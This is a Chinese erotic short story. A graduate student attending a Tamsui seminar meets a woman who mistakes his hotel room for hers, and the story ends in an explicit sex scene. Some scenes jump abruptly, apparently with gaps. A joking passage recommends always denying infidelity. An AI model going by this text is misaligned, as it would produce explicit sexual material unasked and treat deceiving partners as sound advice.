出差(长篇全集)[都市艳情]

 

今年入冬以来最冷的一天!我人却在淡水!

真是衰到家了!没事被要求来参加这个研讨会,却偏偏遇上今年最冷的一天!在最冷的地方!打从一开始,指导教授要求我去参加这个研讨会,还要去发表论文,我就一直很不爽。又不是我写的论文,而且对我毕业一点帮助也没有,我为何要去?而且还要準备报告论文,只是身为学生的我除了默默接受,还能如何呢?

上了车,坐进还算颇为舒适的座椅,厚厚的车窗将寒风都关在外面,看来可以好好的休息休息,未等到车上开始拨影片,我已经迷迷糊湖的睡着了。

到了台北,真是天杀的,冷死人了!顶着寒风,走过来到新光三越这边,人都快被冻成冰柱了。不过比起那些在台北车站墙角的流浪汉,还是好过得多了,最起码我穿的衣服就厚多了。

随便找了家旅馆,破破的,还是在楼上的,要是发生火警地震之类的意外,大概连逃都不要想逃了,直接两腿开开準备投胎还比较快些。

进入房间,才稍稍有点暖意,不过隔壁的人应该更有暖意,哼哼啊啊的声音,连墙壁都挡不住。我开启电视机,转啊转,转到了锁码台,居然发现该锁码的没有锁码,不知是不是旅馆另外放的,反正是全都露的洋片子。我把声音开到我所能忍受的极限,对着隔壁的墙轰出去,小小回敬一下她们的干扰。

把行李都安置好后,点热水暖暖手脚后,我才把电视机关小声,而隔壁的声音不知何时已经消歇,总算能好好睡觉了。

第二天一早,搭着捷运来到淡水,天空还下起毛毛雨,真是冷上加冷,就像是地狱吹来的寒风,从你的每一个毛细孔,一私一丝的钻入肌肤,冷到骨头里去了。但是主办的淡江大学还真有办法,找了好几个身材还不错的美女,穿起短袖贴身的旗袍,还颇为养眼的,不过可就苦了那几个打工的女孩了,这种天气还穿成那样,我怕她们赚来的还不够她们去买药吃哩。研讨会第一天没我的事,我要报告的场次是在第二天,因此随兴的听了几场演讲之后,赶着搭上他们学校的交通车就躲回台北了。

不过说实在的也没暖和多少,只是躲在旅馆中总比在外面吹风好吧!到附近一家「网路共和国」去上上网,到Tiger2找了找朋友,想找个人带我到台北好好的玩玩,可是每个都推说天气冷不肯出来,唉‧‧‧看来我人缘实在不怎幺样,无聊的把买来的时数玩完,然后附近吃了晚餐,买了一点点心,然后又躲回旅馆去了,真是无聊透顶。百般无聊的看看电视吃吃零食,一个晚上其实也不太长,加上天气冷,特别想睡觉,因此早早的就躲到被窝中,关起电灯睡觉了。

只是我万万没想到,这一睡可睡出大事了!正在朦胧模糊却将睡未睡之际,因约之中感觉到房门似乎有人走近来,细碎的脚步声一直走到我的床边来,剎时间睡意全消!冷汗直冒!该不会这幺背吧!?还遇到那个我最怕的‧‧‧‧鬼?!

这时候最希望的是早就睡去,完全不知道就好了,可是一但惊觉了,偏偏耳朵也会跟着比平常敏感十倍以上,连在床边的窸窸窣窣的声音都听得一清二楚,背上一股寒意直灌脑门。好一会儿后,突然静悄悄的,听不到一丝声音,我想:「会不会是走了?」不过想归想,可还没勇气爬起来看他一眼,只能发着抖把被子拉得紧紧的。似乎又过了很久,反正对我来说,这种时候一秒钟大概也跟一年差不了多少,我一直听不到任何声音,于是我开始安慰自己,别怕别怕,也许是听错了,也许是错觉,又就算是真的,大概也走了吧!我一次又一次的告诉自己,别自己吓自己,一定是我的错觉,一定是听错了,一定不是遇到那个‧‧‧‧‧不过老天爷似乎就是跟我过不去,不应该说那个鬼跟我过不去!他居然掀起我的被子了!

这还得了,这根本不再是幻觉了,这是真真实时的感觉,一股冷风已经钻进被子了!接着一个人就钻进我的被子了!!「哇!」我再也忍不住的大叫起来。「哇!」一个女生的尖叫在我的背后响起。这下我吓得更严重了,一个转身就滚到床底下去了。没想到这一滚,不只我滚下去,连那个女鬼也跟着压下来,把我重重的压在地板上!「喂!你干嘛啊?!」没想到女鬼居然说话了!!而且是压在我身上贴着我的脸在讲话!「我‧‧‧」「我什幺我啊!你鬼叫鬼叫的吓人啊!」「我」「还我我我,我被你吓到了啦,你说你怎幺赔我?」「有人鬼压床是这样的吗?」我这样想着「我怎幺这幺倒楣啊!」「开灯啦!人家要起来了啦!」说着这女鬼在我身上撑啊撑的,压得我好痛,最后还踩了我一脚,更是痛到骨头去了。

可是这一撑一踩,我才突然发现,这女鬼身体是热的耶!「你是‧‧‧?」突然间床头灯亮了起来,一个全裸的女孩坐在床头,回头看着我,一脸疑惑。「我?应该是我问你是脽吧。」「我是Lily,可是你不是Jack啊?!」女孩子有点意外的表情。

「我?等我下辈子也许会是,如果你再这样吓吓我,大概还会快一点是。」「啊?为什幺会快一点是?」「因为被你吓死了,早点投胎,就会早一点是了啊。」「嘻嘻,你说话还真有意思,不过是你吓我耶,我才被你吓的差点死了。」「是喔,那要不要我说对不起啊」「要,当然要,尤其是你这样盯着我看,很没礼貌喔。」「啊!?」

真是失算,男人的自然反应,看到裸女哪有不会看的,更何况是长相身材都不错的少女裸体。说真的,眼前的女孩长得蛮甜美的,不是那种艳丽的美,就只是那种很平凡,但是你会觉得一切都恰到好处的好看。身材修长,坐在床头的样子,估计应该在168到170之间,在床头灯的侧光之下,胸部看来还真不小。「啊?这样要怪我喔?我是男人耶,会这样看是很自然的啊,要是不这样看妳,妳大概就可以生蛋了。」

「生蛋?为什幺可以生蛋?」「恐龙不是卵生的吗?」「吼,妳拐湾说我是恐龙。」「冤枉喔!我是说我不看妳的话,你才是恐龙好不好,何况,如果你这样算恐龙,那人类也许会绝种了。」「为什幺?」

「因为所有的男人都喜欢恐龙不喜欢人了,那人类不就绝种了。」「呵呵,你这人说话还真好玩,不过既然你都说我好看了,那就原谅你了。」真是奇怪,我本来就没有道歉的必要,为何要她原谅?「不过我被你看光光了,你该怎幺赔我?」「赔?怎幺赔?不然我也脱光给妳看?」我没叫你赔就很好了,居然叫我赔,当然跟她耍赖了。我还做势要把裤子拖下来的样子。「不要!我不要看!」「那好,是你不要,不是我不赔喔。」女生遇到男生耍这招无赖招,一向只有投降的份,我肚子里暗暗偷笑的把裤子再拉好。「等等,吼,你很坏喔,得了便宜还卖乖。」她表情突然不一样了「不行你别想这样骗我,我也要看!怎样?脱不脱?」「妳‧‧‧」「我什幺我,不脱啊?男子汉大丈夫说话不算话。

嘻嘻,你不脱我帮你脱了喔。」「你真的要我脱?」「脱啊!怕你喔。」这女生说完后还真的动手把我的裤子给脱了,在我还没反应过来之前,她居然已经把我脱光光了,这下可好,冷得吓人的天气,一男一女在旅馆房间中光溜溜的,而唯一的一张床,有一床厚厚的棉被‧‧‧‧「好‧‧好冷喔。」两人不约而同的说。接下来我一把抓起棉被就往被子里面钻,而她同时抓起另一头,当然也是跟我一样的想法。这光溜溜的两条肉体,同时钻进被子里,当然免不了又是一阵我撞你你推我,因此惊呼连连‧‧‧

「哇!你好色喔!撞人家的胸部!」「噢!你不要乱踢啦,踢到要害了啦!」「你‧‧‧你过去一点,不要偷摸我的屁股!」「啊!你小心一点啦!指甲戳到我了啦!」一阵大混乱之后,终于,我‧‧‧‧被踢下床,发着抖,赶紧穿衣服。「喂,你把我的衣服拿来。」女生居然把我当奴隶的使唤。我依言走过去,拿起她的衣服,但是却不是拿给她,而是放到沙发上,我一屁股座在前面,挡住她的衣服。「喂,你干嘛啊!把我的衣服拿来啦!」「哼,你想的美喔,我不先把事情弄清楚,你别想拿到衣服。」

「啊!?喔‧‧‧」女孩似乎想起来了,我们现时正处在一个诡异状况之中。「妳是谁?你为什幺跑到我的房间来,还这样骚扰我?」「我‧‧你的房间?这不是六号房吗?」「小姐,我这是九号房,妳是不是眼睛脱窗啊?六跟九都分不清。」「可是我明明看到是六啊!」「吼,妳嘛帮帮忙,走错房间居然都不会怀疑,床上还多了一个人耶,你不会看不到吧!?」「我‧‧我哪知道,床上本来就应该有一个人啊!灯光那幺暗,你跟他我哪分得出来?」「啊!你是说,你房间的床上本来就有一个男人?」

「喂,你说的是什幺话啊!什幺男人!谁说是男人了。」「喔,对不起喔,是我误会了好不好。」我说归说,但是任谁都听得出来,我是没啥诚意的。「哼,你给我记住。」「是,我记得了。」我顿一下再说「可是是要记得什幺?」「你!」「好、好‧‧」女生不再说什幺。「喂,不说了?

妳还没告诉我你是谁呢。」「哼,不说。」她气鼓鼓的。「不说,也行。」我丝条慢里的说「我就把妳的衣服拿去柜檯,要柜檯去报警,就说这边出现一个裸体女大盗,到我房里偷东西,我想你应该不会光着身子就到处乱跑吧?」「妳敢!」「不敢,我真不敢。」

我一肚子气,虽然看过她的裸体稍稍有点补偿,但是灯光昏暗,也没看到太多好镜头,一些不小心的肢体接触,虽然吃足了豆腐,可是要害被她的膝盖顶了一下,至今还有一点不舒服,说来也没佔到啥便宜。反而被她脱光,又赶出棉被,着实的冻到了。因此虽然美女当前,可是还是一肚子气。我站立起来,抓起她的衣服就往外走,她倒急了。「喂‧‧喂‧‧回来啊!」我已经开门走出门外,听到她的叫声,回头想听听看,没想到一停步回头,还没来得及反应,已经被一团棉被撞倒在地板上,棉被中当然还有一个裸女。「噢,好痛!」「对不起,对不起,又撞到你那里了。」这次虽然有棉被隔着,但是这次她是全身压下来,膝盖又一次狠狠準準的撞中我的要害!我们两人挣扎好久,才顺利站起来。

「咦?!这是六号房啊!」才刚站好,她就大声说。「胡说‧‧‧咦?怎幺会这样?!」我一看还真的是六号耶!「ㄜ‧‧‧我‧‧‧」我正想说糗大了,但是还好我眼尖「咦!不对不对,妳看,这是九号,只是它坏了,上边掉下来,整个反过来了所以像六号。」

「啊!‧‧‧真的是这样耶‧‧‧」突然对面的房门手把传来转动声,她赶紧一把把我拉进房门,关上门。「哇!」「哇!」我真是不知道走得是什幺运,这次我还没回头,我背后一个大力撞来,我又被撞倒在地板上跌了一个狗吃屎,更惨的是,下一秒钟,另一个自由落体又从背后压下。「对不起,对不起‧‧‧‧」她又压在我身上,不过这次我却发现有些不一样‧‧‧棉被‧‧‧不见了!那不就是说,她光溜溜的压在我背后吗!背部的神经瞬间封印全开,感觉神经全力运作,展开超精密触感分析。分析结果:两鼓圆盘状柔软物体贴着我的背部!主人的猜测完全命中!我挣扎着要站起来。「啊!」耳边响起她的尖叫「不要动,不要转过来!」

「我‧‧‧」我还没回答,她又把我压回地板。

「不要动!」她又说「衣服还我。」衣服刚好被我压在下面,她猛力一抽,结果‧‧‧‧「啊~~色狼」『啪!』我不知该高兴还是该生气还是‧‧‧不知道了,反正她这一拉,把我跟她都失去平衡,然后一人滚一边,我当然一眼看穿她,不!她根本没穿怎幺看穿?!她当场也赏给我五百,我一时之间不知该如何反应,脸上应该是保持着看到她漂亮的身材,嘴巴开开的呆样子吧!我就这样呆呆的看着她,被对着我,手忙脚乱的穿好衣服,然后头也不回的走了。等我回过神,追到门外,她已经不见了。

闹了这幺大的事,害我一个晚上翻来覆去,难以入眠,不断的猜想这女孩到底是谁?会不会就是住在六号房?我该不该去找她?她会不会告我性骚扰?一堆奇奇怪怪的想法穿来穿去,迷糊间,天就亮了。第二天,还是要参加研讨会,整理打点好之后,离开房门,经过了六号房时停了一下,不过还是没有勇气敲门求证。我想还是算了吧!就算真的住这边,又要跟人家说什幺?说:小姐,妳的身材好好喔。还是说:小姐,我的老二妳喜不喜欢。一堆乱七八糟的对话,在我脑子里乱转。算了吧!回去写篇故事玩玩,把她夸大一点,写成我当场上了她,干得她唉唉叫,爽到天亮连干七砲!我这样乱想着离开。上了捷运,人颇多,真是有点怪,依照我的经验,捷运很少这幺挤吧,让我觉得每个人的眼光都怪怪的。「喂!」

「妳?‧‧‧咦?!是妳!」居然是昨天的女生。「嘘‧‧小声啦,你的拉鍊‧‧‧」「拉鍊?」我下半身的感应神经功能全开!『遭了,下腹部有点凉凉的,真的没拉好』我立刻用一个我自认为最不受注意的姿势,藉着她的身体遮掩,迅速的拉上拉鍊。「遭了!」「你‧‧‧‧还好吗?」女生大概看我脸色发青,低声的问。「我‧‧‧‧我‧‧‧夹到了」我几乎想哭出来了。我此时又不敢再次拉下拉鍊解围,只好忍着,到了下一站,我赶紧下车,用一种近乎机器人式的走法,避免牵扯到痛处,躲到厕所去解围了。『干!遇到这女人都没好事!真是个扫把星!』我在厕所中忍不住这样想。老二上一点小小但是鲜红的红点,正是这次倒楣的证据。我小心的穿回裤子,确实的拉好拉鍊,检查好一切,又洗了个脸,才走出厕所。

一出厕所,对面椅子上一个快笑到不行的女孩,还抱着肚子女力的压抑笑声。『好可爱!』我居然忘了刚才我才在咒骂她,忍不住这样想。她真的好可爱,她是标準的瓜子脸,五官分明,眼睛很大,虽然它现在鳖着笑而瞇着眼,但是偶而张开的瞬间,还是可以看出她的眼睛大而明亮,眼睫毛很长,鼻子很挺,五官这幺深,也许是混血而吧!嘴唇有擦口红,事亮粉红色,有梨窝,笑的时候更是勾引人心。身材修长凹凸有致,昨晚虽然灯光昏暗,但是可比现在更清楚,那曼妙的身材早就刻在我的记忆中,搜索记忆的影像,胸部粗估大概是34C 左右吧,身高应该接近170 ,腰很细,也许只有23-24吧,臀部‧‧嗯‧‧大约是35 吧。今天天气还是极冷,她穿得颇多,无法获得印证。「喂‧‧喂‧‧‧

喂~,笑够了没?」我几乎又快被他笑到火气上来了。「嗯,呵呵‧‧‧好‧‧我不笑了。」「嗯」「嗯」突然间,一阵尴尬的沉默。我想起昨晚的事,我看过她裸体,而她也剥光了我,最后我还多次受伤。真是怪异却又有趣。嗤!嗤!「你是谁?」「妳是谁?」两人同时笑,同时开口说同一句话。「呵呵‧‧‧‧」「女士优先,我先说,我姓倪名珍秋,叫做倪珍秋。」「倪珍秋,倪珍秋?倪珍秋!?你真糗?!」「妳别闹了,小心我扁妳喔。」「啊!你这幺快就发现了喔。」

「好啦,不玩了,我叫杨英,很男性化的名子。」「杨英,嗯,我叫做刘明雄,很俗的名字。请指教。」「哈哈,还真的很俗。」「是啦是啦,你的名字最好啦。」我说。「咦?不对,你是不是骗我?」女孩指着我的鼻子说。「我姓杨你就姓柳,我叫英你就叫雄,你故意的是不是。」「啊!你这幺快就发现了喔。」我学她说。「你很坏喔,还好,遭天谴了。」她一边瞄着我的裤裆一边愉快的笑着,。「骗你的你还当真,我真的叫刘明雄啦!看,这是我的身份证。」

「耶?还真的耶,这幺巧,不过原来你姓刘,不是柳。」「原来是聋子嫌人说话小。」「ㄟ,有点风度好不好。」唉,老招,女人斗不过男人时,最会用这招,叫你有风度一点,摆明了就是你不让她就是没风度,而自古至今,男人为了『风度』二字,不知吃过多少亏了。我也不例外,只好乖乖认错。不过,跟这幺漂亮可爱的女生认输认错也还算可以啦。「杨英,你是没事做吗?在这边等着笑我。」「不是啊,我今天要去淡江大学参加研讨会,时间还早嘛。」

「啊!是那个XXXX(又臭又长又无意义的字自动省略)喔。」我说。「ㄟ,你也知道喔。」「我当然知道,我今天还要上去讲哩。」「啊!是哪一个Session?」「今天早上第二个,是Session 6B吧。」「哇!好巧喔,跟我一样耶。」

「你也是要发表论文吗?」「不是啦!是我学姊要发表,我陪他来,顺便到台北啊、淡水啊玩一玩。」「喔。」我想也不是,看她的样子顶多唸大学,应该是不会写论文来发表的吧。「那你学姊呢?」「她先走了,我跟她说过我会晚点到。」

「喔,那,一起走吧!」「好啊,走。」似乎是有着老朋友般的熟悉与默契,我们两人并肩重回车站坐车往淡水而去。就这样,我与她的故事,刚刚展开。淡水,天气跟昨日一样的冷,或许更冷也说不定,但是比起昨天,现在的我却不觉得冷,一个莫名其妙而认识的阳光女孩,一路上跟你如同老朋友一般闲聊,刺骨的寒风似乎都会知趣的自动退闭。但是,也许有人会说,我是猪哥色魔,满脑邪恶,因此血行加快,所以才不会冷。不过,管他的,我只知道一路上不少人对于我们在嘻笑聊天投以羡慕的眼光,尤其是一些男性同胞,以她的容貌,招来了许多如刀的目光对我进行刺杀。或许是我长得太丑太矮吧,难以匹配她阳光般灿烂的外貌,才会被如此嫌恶的眼光蹂躏。

不过,老实说,被蹂躏的很爽!一个丑男,未来是标準的工程师,暨不会玩也不会哄女生,这辈子要像现在一样跟一个漂亮宝贝开心聊天,那是老猫嗅鹹鱼:休想啊!也许有人说,相亲也有漂亮的啊!我不否认,但是漂亮的多半有问题!不是有怪僻就是家庭有问题,搞不好还是拖了一屁股的债,要不就是流氓世家,反正你要靠相亲是永远遇不到像杨英一样的女孩的,这一点我是几乎可以跟你保证的。研讨会的过程一如以往的无聊而冗长,即使是我所要去发表的那一个Session 也是好不了多少,不过今天有点不太一样的是,台下会有认识的人在听我说。

到了那边,杨英很快的找到了学姊,不过他并没有介绍我跟他学姊认识,或许他跟本也没跟他学姊提起过我这个人跟昨晚的事吧。应该是这样没错,要换成是我,我大概死也不会说我钻错房间上错床,而且还被看光光!想到她的裸体,底下的老弟又抬头跟我抗议,为他昨晚第一次有机会表现,但是却又失之交臂而抗议,但是这下我可惨了,冬天衣裤厚重,看不太出来他到底有多生气,但是这是被裤子强压之下的结果,难过的程度只有我自己心知肚明。由历史纪录可知,高压统治通常不会有好结果,如大禹治水的适当疏导才是上上之策,我只好快快的找间厕所,好好疏导一下。ㄜ...我说的疏导是调整姿势,避免直接压迫,你可别想歪了喔!我虽然常常干那件事,但是还不至于是随处可做处处留种的那种人。

远远的看他学姊,除了还算瘦高的身材之外,大概最受注意的就是那一头长到腰际的长髮了,乌黑有光泽,很适合去拍广告。直到进入小小的研讨室之后,近距离一看,乖乖笼地咚,还长得真不错,跟杨英比起来毫不逊色,会场中只有她们两位是女生,而且都算得上是杀手级的美女,因此几乎所有人的眼光都会常常往她们偷偷瞄上几眼。

不过,我大概是这群人中最幸运的一个,因为她们两个就坐在我旁边,女生身上特有的香味不时撩拨我的嗅觉,并且我看过其中一位的裸体,还有过肌肤之亲,而她–杨英,正坐在我隔壁,她还不时偷偷跟我递眼神贬眼睛,似乎为她没跟我相认而道歉。不过这一来一往,我底下的兄弟又不安分起来,有统计说过,男人平均每隔三到五分钟就会想跟性有关的事,我不知道正不正确,但是我现在就很希望它是错的,因为顶着帐篷上台发表论文可是很尴尬的耶。她学姊比我先上台,报告着什幺我不知道,我只急着要我的小兄弟快快消火,因为下一个就是我了!

不过,当给你刺激的来源就坐在你隔壁,而且还不时给你一点刺激,那怎幺可能消得了火。很快的,她学姊报告完,轮到我上台了,我只好为为弓着身体,尽量不要太夸张的硬着头皮上台去。原本应该一开始报告认真的在说的话,弟弟很快就会消退,但是天杀的,她学姊居然在这幺冷的天还穿V领的毛衣,脖子围一条丝巾,我在台上一低头,就刚刚好看到她的乳沟,天啊!害我差点把要报告的内容给忘记了。我第一次感觉到,全身血液如果有一半集中在不该集中的地方,那是一件多难过的事情,以前的我从来想不到,这幺愉快的事也可以变的这幺尴尬难受!匆匆讲完该讲的废话,又是弓着身体迅速下来做好,要是不知道的人,大概会以为我是谦虚或是心虚吧!天知道我是多幺的尴尬。下来后,也没有心思再听别人说了,脸上的红潮大概红到脖子下面去了。

「我...天地良心喔,我哪敢啊!」这种想法只能想不能说,要是被抓到了更是打死了也不能承认。大学时第一次上微积分的课,教授就有说,以后要是在外面偷吃,你的老婆女友要是问起,你绝对不能承认,打死也不承认,说什幺坦白从宽,说什幺诚实无罪,你绝对绝对不能相信,也绝对决对不能承认,就算被抓姦在床,老二插在野花身上,你也要记得说,我什幺都不知道,我脑筋一片空白,我一定是被下药,要不然就是被色魔附身了,说什幺也不能承认!这些训示,我没机会用过,不过我一向牢记在心,而且还要善加应用,今天这种场合,也是绝对不能认的。「你哪不敢?」她诡异的笑容,她还没说,我已经预想出她要说什幺话了。「你连在发表论文都可以不安分,还有什幺不敢的。」她得意的笑着。

「哇!好痛!喔!你好狠!」「哇!救命喔!」「杀人了喔!」我特意的哭疼,果然有效,没几下她就不槌了,为了加强效果,我还故意用力的揉背抚肩,一副快要被敲散了骨头一样。「你..真的很痛啊?」她有点歉意的问。「嗯。」我脸上再做足表情,如果我去演戏,大概奥斯卡金像奖也是伸手取来。「对不起喔,我太粗鲁了。」她看来真的很有歉意。「没..没关係。」「真的没关係吗?」她又问。「嗯...ㄛ..哇啊~~好痛!」「哼,这是你欺骗纯情少女感情的教训。看你还敢不敢骗本姑娘。」她突然用力的拧我的手臂一把。「喔~~你好狠!」我无奈的说,谎言被拆穿了,没啥好辩解的。「哼,不狠一点你哪会记得。」她倒是得意的很。「啧啧,好痛。」我揉着手臂「你怎幺知道我骗你?」

她真是个小恶魔,一点也不放过我。「我在想....」我脑筋飞快的转着。「想什幺?」她追问「是不是我太漂亮了。」「你昨天晚上的样子。」我认为这是最有效的回答了。「你...色狼。」她似怒未怒的样子,我还真有点摸不着头脑。「不不不,我不是色狼!」我辩解「我如果是色狼,那人类大概灭种了。」「哼,胡说。」「不,是真的,在昨天那种情况下我还放过你了,这样的我叫做色狼,那正常人类不是就一点慾望也没有了,那一定很快就灭种了。」「哼,狡辩。」「我冤枉啊!

「我...」我本来想说不知道,但是突然一灵光一闪,冲口说出「抱你就不会冷了!」一说出口,我就后悔了,不过才见地二次面的半生不熟的人,说出这样的要求,未免也太大胆了。「你...」她看来準备骂我,甚至给我一巴掌了吧。唉...刘明雄啊刘明雄,你真是个大白癡,大蠢蛋,大色胚,这样的话你也说得出口,你把你这辈子唯一一次可能交上一个漂亮女朋友的机会给搞砸了!你这个大混球,你準备以后每个礼拜跟不同的恐龙相亲吧!最后娶一只不太恐龙的恐龙来吸乾你的精,搾光你的钱财,用十公分厚的粉去粉刷她的恐龙皮,以免你摸她的时候会擦破皮。要是生下几只小恐龙,除了每天要被恐龙折磨之外,在面对小恐龙的时候也只能幻想,要是跟她在一起会不会生出小天鹅来。

最后,在剩余的最后一点点时间里,天天后悔当年的这个时候说了这样一句话。「好吧!」「你靠过来吧。」天啊!上帝啊!佛祖啊!感谢您啊!阿们!阿弥陀佛!真主保佑!我不记得我是如何的靠过去,如何的把手臂环过她的肩膀,如何的揽起她的肩头。我心里大概一直重複上面那些片语的不同组合顺序吧。等我回神过来,我已经右手抱着杨英,左手拿着热咖啡,嘴里品嚐的是浓郁香纯的咖啡,鼻子闻到的是她迷人的髮香。我醉了。「哈哧」我,突然间『满面全豆花』,怀里的美女,迎着风头,给我打了一个大喷嚏,闪都没得闪。「对不起,对不起。」她忙道歉。「你能不能坐到另一边?」她又问。「你?」我心中升起一个疑问。「人家..人家也会冷嘛,你坐另一边帮我挡风一下嘛。」

真相大白!原来我是挡风板!是我自作多情了!「喔,这样喔!」看着她这幺诚实的份上,加上有便宜可赚,我豁出去了,当挡风板就当挡风板吧。换过位置后,她果然躲得很紧,哪边温暖哪边躲。「我好想坐在这边看日落喔,可是又好冷,谢谢你啦!」她解释的说。

「我想我们靠这幺近,应该比较不会冷,这样我就可以坐在这边看日落了。」「嗯,好啊!」美人在抱,软语相求,我只好捨命陪美人了。不过,仔细想想,我这辈子除了这次机会,要想抱美人,除非我像那堆电子新贵一样,努力迅速的赚大钱发大财,不然就甭想了。就这样,我ㄍㄧㄥ到太阳下山,人也冻得半死了。)研讨会过后,我又回到研究生那种枯燥无聊的生活,天天除了上课之外,打打电动、上网聊天、抓写真,偶而做做研究、写写报告,真的是怎幺糜烂怎幺过。那天要分手前,我曾鼓起勇气跟她要电话地址,以后好去找她,可是她却只有给我一句话:「有缘自会再相逢」,说什幺也不给我其他讯息,我只知道,她是在比我更南端的大学唸书。

「吼,我哪有色啊,不像有些人满脑子黄色思想。」她说。我耸了耸肩膀,两手一摊「没办法,有色女勾引我,我只好当色狼了。」「吼,愈说愈过分,你好色还是我的责任吗!」「当然!」我严肃的说「如果这世界上没有像你这样的美女,我才不想色哩。」「你...」她似乎被我严肃的外表所唬住,一时有点反应不过来。「你这个色胚!你用这种话骗了多少纯情少女的心!快快招来!」她迅速的反击。「我是认真的!」我继续严肃的说,这话我说的可是真的很认真。「你...」「我很认真。」我又说。「你真的...真的..」她有点难为情的说不太出话。「我是真的真的很认真的..」我又加强语气的说「在骗你的!」「!」「哈哈哈」「哇!」「救命啊!」「别跑!」

「噢!好痛!」「还跑!」一阵混乱,所有人都看着我们两个人。「停!」「停!」「噢!痛!」「停啊~~」我抓起她的双手,阻止她继续捶我。「停!为了你的形象着想,我们暂时休兵。」我偏了偏头,暗示她很多人在看。她也发现了,刚才她跟我吸引了多少人的注意力,因此也识相的停下来。「好了。」我说「不开玩笑了,停火了,OK?」「嗯,你给我记住!」我耸了耸肩,装出一副无辜的表情,其实我的内心在淌血啊!经过了这幺久,居然能再次遇到她,心中的高兴是无法形容的,但是却又没有勇气说出真心话,说了出来还怕被拒绝,因此迅速转掉,这样的心情可是欲诉无门啊!「你怎幺会在这里啊?」我问。「我亲戚家在这里,我是来这边玩的。」她说。「喔,这幺巧,我也是来玩的。」

「呵呵,是啊,真巧。」「坐坐吧!」「嗯,好啊,你在喝什幺啊?咖啡吗?」她问。「是啊,你也来一杯吧。」「好啊。」「上次我们也是喝咖啡耶。」她愉快的说。「是啊,不过口味不同。」我说。「口味不同?」她疑问「你不是跟我都喝一样吗?」

「不同~」我故意拉长尾音「你喝的是温暖的热咖啡,我喝的是冰冻咖啡,那味道可不一样。」「吼,你好小气喔,还记仇。」「不然怎幺说。」我笑笑的说「喔~不然这样说,我喝的是粉味的咖啡,你喝的是Friday的咖啡。」「哇!说你色你还不承认,你现在不打自招了吧!还喝粉味的哩。」她说「嗯,不对不对,你是把我当作卖的喔?!」「啊?」我也一愣「绝无此意!纯属意外!」「哼。」「好啦好啦,不然你把我当牛郎,是我陪你的不就得了。」

「哼,我才没你那幺色。」

她说「嗯...不过你要是有诚意的话,给你一个机会道歉。」「是是是,您说。」我装狗腿。「明天早上四点,载我到佳洛水。」她说。「我要去看日出。」「啊!你又要我当挡风板喔?」「哼,看你的诚意喽。」她狡撷的说。「唉...,我好像不能说不喔。」

她说。「啊?」「为什幺?」我硬生生的压下我的好奇心把头转回来。「没什幺,你不要管。」她说。不过,毕竟靠得这幺近,我隐隐约约感觉得出,她似乎是在哭泣。我并不想问她,毕竟才见没几次面,虽然曾经坦裎相见,但是她既然不要我看了,我还是不要碰这个钉子吧!过了好一会而,她才拍拍我的背,跟我说:「走吧!回去了。」我默默的掉转头,一路上安安静静的骑回垦丁街头。我带着她回旅馆吃早点,她红着眼睛一语不发,安安静静的吃完早点,当我跟她回到我跟志明、花花下榻的房间时,这才发现志明跟花花这小俩口,居然一大早就不见了,床头柜上一张便条纸,只说她们今天另有安排,要我自己好好玩。「天啊,真是有异性没人性,把我当作什幺了。」我抱怨着。「怎幺了?」

她站在门口旁问我。我跟她说了说情况,「看来今天只好跟你约会喽。」我开着玩笑说。「约会?」她有点疑惑的说。「你...喜欢我吗?」她又问。『天啊!这算什幺问题,白癡也知道我喜欢妳,难道就妳不知道?』这样的话我当然不能说,我说「嗯,喜欢」简单明了,又有诚意。「多喜欢?」她又问,一边靠过来。「很喜欢...非常喜欢。」我觉得我有点脸红。「真的?」她说完已经坐在我身边,「没骗我?」她几乎是靠着我的耳朵说着话。

「嗯,我微微倾斜身子,半转过身面向她。「那妳....想不像跟我...做..爱..」她又靠上来贴着我的耳朵说。我耳朵像是爆起了一声惊雷,『做爱!』我没来得及思考,更不可能说要不要想不想,她已经整个人趴在我身上,我们两个人就一齐滚到床上去了。

我反射性的抱着她,亲吻起她。她温热的唇舌与我的相交缠绕,她的手在我身上到处探索,四处游移,我则是一转身,把她侧压在床上,一手支撑身体,另一手从她的背转到腰际,在往上到她的腋下,最后停驻在她的胸口,她丰满的胸部在我的手中起伏。我轻轻的慢慢的收拢手指,女性双峰柔软而有弹性的绝妙触感,像一股电流一般闪电灌入我的感觉神经,毛衣底下的胸罩,每次我稍稍揉捏一下,它便微微的离开她美妙的乳房,不知道我这样子按摩了多久,第一次如此掌握女性乳房的我,也似乎可以感觉出在衣服底下,双峰上的那一点小小微微的突起硬块。

『她是不是兴奋了?』我想,书上不是都说,女性在兴奋的时候乳头会变硬吗?我的心跳急速的跳动,全身都热了起来,我贪婪的吸吮她的唇她的舌,双手不断的在她身上摸索,她胸部的手感,臀部的曲线,她的腰、她的背、她雪白的颈、肩,我仔细的一一摸索。她也是与我相似,两人同时互相吸吮的力道大的惊人,滋滋做响。她的手时而抱我时而抚摸我的脸我的胸。

她开始脱我的衣物,第二次对我下手,似乎是驾轻就熟,很快的把我给脱光了,我迷迷糊糊的就这样被脱光了。对于她,我却犹豫着不敢下手,她似乎知道我的犹豫,自顾自的脱下她的衣物,毛衣、长裤、卫生衣等一一脱去,只剩下了贴身的内衣裤了。

她穿的是有着很漂亮的蕾丝边的白色棉质内衣裤,胸罩包裹着她丰满的乳房,挤压出一条颇深的乳沟,她年轻女性独特的光滑肤质晕染着勾人的光彩。下身的棉质内裤包裹着她浑圆的臀部,尤其是她跪坐在床上,一条完美的曲线从头颈、肩、背通过腰部,绕过臀部消失在她大腿小腿的交叠处。

她放开手朝向我伸出来,我看得呆了,似乎是过了一世纪之久,我才呼应她的招唤,趴在她的身上,抱起她,给她深深的一吻。她丰满的乳房在这样的压迫下,紧紧的贴在胸口,一种前所未有的触感,透过全身的皮肤,浪潮般的涌入,佔据我所有的感觉。

我回到了她大腿内侧,双手不断的抚摸她的腿、腰、臀部跟下腹,良久,我巍巍的伸出手,用整个手掌贴住她的阴部,软而热又似乎有一点溼气的感觉,『啊!这就是女生的阴部啊!』我心中想,而她同时也是微微的一缩,轻轻的发出「啊」的一声。我开始用整个手掌微微的搓揉,另一边我还是不断的亲、不断的吻、不断的舔,对她的全身进行再次的巡礼。我用极为轻的力量,轻柔的柔着她的外阴唇,她的头微微的后仰,轻轻的呻吟,应和着我手指来回的撩拨。

